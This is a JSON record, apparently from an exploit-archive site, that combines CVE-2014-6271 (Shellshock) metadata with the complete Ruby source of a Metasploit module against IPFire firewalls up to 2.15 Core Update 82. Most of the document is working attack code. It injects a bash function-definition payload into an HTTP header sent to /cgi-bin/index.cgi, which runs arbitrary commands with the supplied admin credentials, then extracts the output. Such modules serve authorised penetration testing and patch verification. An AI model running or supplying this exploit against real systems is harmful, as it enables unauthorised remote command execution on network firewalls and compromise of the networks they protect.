{"exploit":{"id":"MSF-linux--http--ipfire_bashbug_exec","name":"IPFire Bash Environment Variable Injection (Shellshock)","description":"IPFire, a free linux based open source firewall distribution, version <= 2.15 Update Core 82 contains an authenticated remote command execution vulnerability via shellshock in the request headers.","cves":["CVE-2014-6271"],"author":"h00die, Claudio Viviani","published":"2014-09-29","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/ipfire_bashbug_exec.rb","path":"modules/exploits/linux/http/ipfire_bashbug_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"ipfire_bashbug_exec.rb","vulnerabilities":[{"id":"CVE-2014-6271","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka \"ShellShock.\" NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271"},"updatedAt":"2025-10-22T00:05:36.342Z","retrievedAt":"2026-11-25T16:13:33.665Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--ipfire_bashbug_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--ipfire_bashbug_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--ipfire_bashbug_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--ipfire_bashbug_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  include Msf::Exploit::Remote::HttpClient\n\n  Rank = ExcellentRanking\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',\n        'Description' => %q{\n          IPFire, a free linux based open source firewall distribution,\n          version <= 2.15 Update Core 82 contains an authenticated remote\n          command execution vulnerability via shellshock in the request headers.\n        },\n        'Author' => [\n          'h00die <mike@stcyrsecurity.com>', # module\n          'Claudio Viviani' # discovery\n        ],\n        'References' => [\n          [ 'EDB', '34839' ],\n          [ 'CVE', '2014-6271']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => %w(linux unix),\n        'Privileged' => false,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'PAYLOAD' => 'cmd/unix/generic'\n        },\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          'Compat' =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'generic'\n            }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-09-29',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => [],\n          'AKA' => ['Shellshock']\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n        OptString.new('PASSWORD', [ false, 'Password to login with', '']),\n        Opt::RPORT(444)\n      ], self.class\n    )\n  end\n\n  def check\n    begin\n      res = send_request_cgi(\n        'uri' => '/cgi-bin/index.cgi',\n        'method' => 'GET'\n      )\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\") if res.code == 401\n      /\\<strong\\>IPFire (?<version>[\\d.]{4}) \\([\\w]+\\) - Core Update (?<update>[\\d]+)/ =~ res.body\n\n      if version && update && version == \"2.15\" && update.to_i < 83\n        Exploit::CheckCode::Appears(\"Version #{version} appears to be vulnerable\")\n      else\n        Exploit::CheckCode::Safe(\"Version #{version} is not vulnerable\")\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\n\n  #\n  # CVE-2014-6271\n  #\n  def cve_2014_6271(cmd)\n    %{() { :;}; /bin/bash -c \"#{cmd}\" }\n  end\n\n  def exploit\n    begin\n      payload = cve_2014_6271(datastore['CMD'])\n      vprint_status(\"Exploiting with payload: #{payload}\")\n      res = send_request_cgi(\n        'uri' => '/cgi-bin/index.cgi',\n        'method' => 'GET',\n        'headers' => { 'VULN' => payload }\n      )\n\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\") if res.code == 401\n      /<li>Device: \\/dev\\/(?<output>.+) reports/m =~ res.body\n      print_good(output) unless output.nil?\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\nend\n","sha256":"edef1fff362f71313abe1f9346468cdd50daa95f24727ff23e62a98526804f99","bytes":3563,"fetchedAt":"2026-11-26T11:59:10.630Z","encoding":"utf-8 (display only; download retains original bytes)"}